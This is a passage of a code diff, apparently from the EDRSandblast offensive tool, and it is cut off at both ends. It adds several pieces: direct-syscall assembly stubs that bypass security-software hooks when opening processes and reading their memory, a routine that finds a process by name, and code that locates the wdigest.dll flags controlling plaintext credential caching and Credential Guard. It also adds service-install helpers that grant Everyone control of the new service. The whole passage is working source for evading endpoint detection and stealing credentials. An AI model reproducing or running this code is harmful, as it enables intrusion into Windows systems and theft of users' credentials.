mov [rsp+16], rdx
|
||||
mov [rsp+24], r8
|
||||
mov [rsp+32], r9
|
||||
sub rsp, 28h
|
||||
mov ecx, currentHash
|
||||
call SW2_GetSyscallNumber
|
||||
add rsp, 28h
|
||||
mov rcx, [rsp+ 8] ; Restore registers.
|
||||
mov rdx, [rsp+16]
|
||||
mov r8, [rsp+24]
|
||||
mov r9, [rsp+32]
|
||||
mov r10, rcx
|
||||
syscall ; Issue syscall
|
||||
ret
|
||||
WhisperMain ENDP
|
||||
|
||||
NtGetNextProcess PROC
|
||||
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtGetNextProcess ENDP
|
||||
|
||||
NtQueryInformationProcess PROC
|
||||
mov currentHash, 055A17810h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryInformationProcess ENDP
|
||||
|
||||
NtClose PROC
|
||||
mov currentHash, 054DEA057h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtClose ENDP
|
||||
|
||||
NtAllocateVirtualMemory PROC
|
||||
mov currentHash, 08708BDBBh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtAllocateVirtualMemory ENDP
|
||||
|
||||
NtOpenProcess PROC
|
||||
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtOpenProcess ENDP
|
||||
|
||||
NtQueryVirtualMemory PROC
|
||||
mov currentHash, 083906983h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryVirtualMemory ENDP
|
||||
|
||||
NtReadVirtualMemory PROC
|
||||
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtReadVirtualMemory ENDP
|
||||
|
||||
NtCreateFile PROC
|
||||
mov currentHash, 086A15898h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtCreateFile ENDP
|
||||
|
||||
NtWriteFile PROC
|
||||
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtWriteFile ENDP
|
||||
|
||||
end
|
||||
@@ -0,0 +1,204 @@
|
||||
#include "SignatureOps.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
|
||||
HCERTSTORE hCertStore = NULL;
|
||||
HCRYPTMSG hCryptMsg = NULL;
|
||||
DWORD dwCountSigners = 0;
|
||||
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
|
||||
PCMSG_SIGNER_INFO pSignerInfo = NULL;
|
||||
CERT_INFO certificateInfo = { 0 };
|
||||
PCCERT_CONTEXT pCertContext = NULL;
|
||||
TCHAR* tmpSignerName = NULL;
|
||||
TCHAR* pSigners = NULL;
|
||||
TCHAR* tmpSignerHolder = NULL;
|
||||
size_t sztmpSignerHolder = 0;
|
||||
TCHAR signerSeperator[] = TEXT(" | ");
|
||||
DWORD dwError = 0;
|
||||
BOOL returnStatus = 0;
|
||||
|
||||
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
|
||||
pFilePath,
|
||||
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
|
||||
CERT_QUERY_FORMAT_FLAG_BINARY,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&hCertStore,
|
||||
&hCryptMsg,
|
||||
NULL);
|
||||
|
||||
if (!returnStatus) {
|
||||
dwError = GetLastError();
|
||||
// File is not signed.
|
||||
if (dwError == CRYPT_E_NO_MATCH) {
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
return E_KO;
|
||||
}
|
||||
}
|
||||
|
||||
// Check that the file has at least one Signer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
|
||||
if (!returnStatus) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (dwCountSigners == 0) {
|
||||
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
|
||||
// Get Signer name of each certificates and concat to Signers string.
|
||||
for (DWORD index = 0; index < dwCountSigners; index++) {
|
||||
// index = 0;
|
||||
dwcbSz = 0;
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
|
||||
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
|
||||
if (!returnStatus || !dwcbSz) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
|
||||
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
|
||||
if (!pSignerInfo) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
|
||||
dwcbSzPrevious = dwcbSz;
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
|
||||
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
|
||||
memset(&certificateInfo, 0, sizeof(CERT_INFO));
|
||||
certificateInfo.Issuer = pSignerInfo->Issuer;
|
||||
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
|
||||
|
||||
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
|
||||
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
|
||||
if (!pCertContext) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieves the subject name. First call is done to determine the subject name size.
|
||||
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
|
||||
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
|
||||
if (!tmpSignerName) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
|
||||
if (!tmpSignerName) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Concat the subject to the already found ones, if any.
|
||||
if (pSigners) {
|
||||
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
|
||||
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!tmpSignerHolder) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
|
||||
free(pSigners);
|
||||
pSigners = tmpSignerHolder;
|
||||
break;
|
||||
}
|
||||
else {
|
||||
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
|
||||
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!pSigners) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
|
||||
}
|
||||
}
|
||||
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
|
||||
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
free(pSigners);
|
||||
return E_INSUFFICIENT_BUFFER;
|
||||
}
|
||||
else {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
|
||||
free(pSigners);
|
||||
return E_SUCCESS;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
if (hCryptMsg) {
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
}
|
||||
|
||||
if (hCertStore) {
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
}
|
||||
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
|
||||
return E_KO;
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
/*
|
||||
|
||||
--- Utility function to generate a random string.
|
||||
|
||||
*/
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
//BOOL isFullPath(IN TCHAR* filename) {
|
||||
// char c;
|
||||
//
|
||||
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
|
||||
// return TRUE;
|
||||
// }
|
||||
//
|
||||
// c = filename[0] | 0x20;
|
||||
// if (c < 97 || c > 122) {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[1];
|
||||
// if (c != ':') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[2];
|
||||
// if (c != '\\') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// return TRUE;
|
||||
//}
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
|
||||
unicodeString->Buffer = wcharString;
|
||||
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
|
||||
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
|
||||
}
|
||||
|
||||
BOOL srandDone = FALSE;
|
||||
|
||||
/*
|
||||
* Generates a "length"-long random alphanumeric string
|
||||
* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
|
||||
*/
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t length) {
|
||||
if (!srandDone) {
|
||||
srand((unsigned int)time(0));
|
||||
srandDone = TRUE;
|
||||
}
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (length) {
|
||||
for (size_t n = 0; n < length; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[length] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* allocAndGenerateRandomString(size_t length) {
|
||||
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
|
||||
if (str == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
generateRandomString(str, length);
|
||||
return str;
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
#include "SyscallProcessUtils.h"
|
||||
|
||||
// Retrieve a given process PID.
|
||||
DWORD SandGetProcessPID(HANDLE hProcess) {
|
||||
PROCESS_BASIC_INFORMATION basicInformation;
|
||||
basicInformation.UniqueProcessId = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (DWORD) basicInformation.UniqueProcessId;
|
||||
}
|
||||
|
||||
// Retrieve a given process image (PE full path).
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
|
||||
NTSTATUS status;
|
||||
ULONG ProcessImageLength = 1;
|
||||
PUNICODE_STRING ProcessImageBuffer = NULL;
|
||||
|
||||
do {
|
||||
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
|
||||
if (NT_SUCCESS(status)) {
|
||||
break;
|
||||
}
|
||||
|
||||
free(ProcessImageBuffer);
|
||||
ProcessImageBuffer = NULL;
|
||||
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ProcessImageBuffer;
|
||||
}
|
||||
|
||||
// Extract filename from process image full path.
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
|
||||
if (ProcessImageUnicodeStr->Length == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Process name will be /binary.exe.
|
||||
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
|
||||
if (!ProcessName) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Skip the /.
|
||||
ProcessName = &ProcessName[1];
|
||||
|
||||
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
|
||||
if (ProcessNameLength > nSize) {
|
||||
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
|
||||
return ProcessNameLength;
|
||||
}
|
||||
|
||||
// Find a process PID using its filename.
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
HANDLE hProcess = NULL;
|
||||
PUNICODE_STRING currentProcessImage = NULL;
|
||||
TCHAR* currentProcessName = NULL;
|
||||
DWORD currentProcessNameSz = 0;
|
||||
|
||||
*pPid = 0;
|
||||
|
||||
while (*pPid == 0) {
|
||||
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
|
||||
|
||||
if (status == STATUS_NO_MORE_ENTRIES) {
|
||||
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
|
||||
return STATUS_NO_MORE_ENTRIES;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
currentProcessImage = SandGetProcessImage(hProcess);
|
||||
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
|
||||
if (!currentProcessName) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
|
||||
|
||||
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
|
||||
*pPid = SandGetProcessPID(hProcess);
|
||||
break;
|
||||
}
|
||||
|
||||
free(currentProcessImage);
|
||||
currentProcessImage = NULL;
|
||||
free(currentProcessName);
|
||||
currentProcessName = NULL;
|
||||
}
|
||||
|
||||
if (*pPid) {
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
else {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
}
|
||||
@@ -9,24 +9,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
union WdigestOffsets g_wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
|
||||
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetWdigestPath() {
|
||||
if (_tcslen(g_wdigestPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute wdigest.dll path.
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
|
||||
}
|
||||
return g_wdigestPath;
|
||||
}
|
||||
|
||||
TCHAR g_wdigestVersion[256] = { 0 };
|
||||
LPTSTR GetWdigestVersion() {
|
||||
if (_tcslen(g_wdigestVersion) == 0) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
return g_wdigestVersion;
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
#include "../EDRSandblast.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL;
|
||||
SC_HANDLE hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
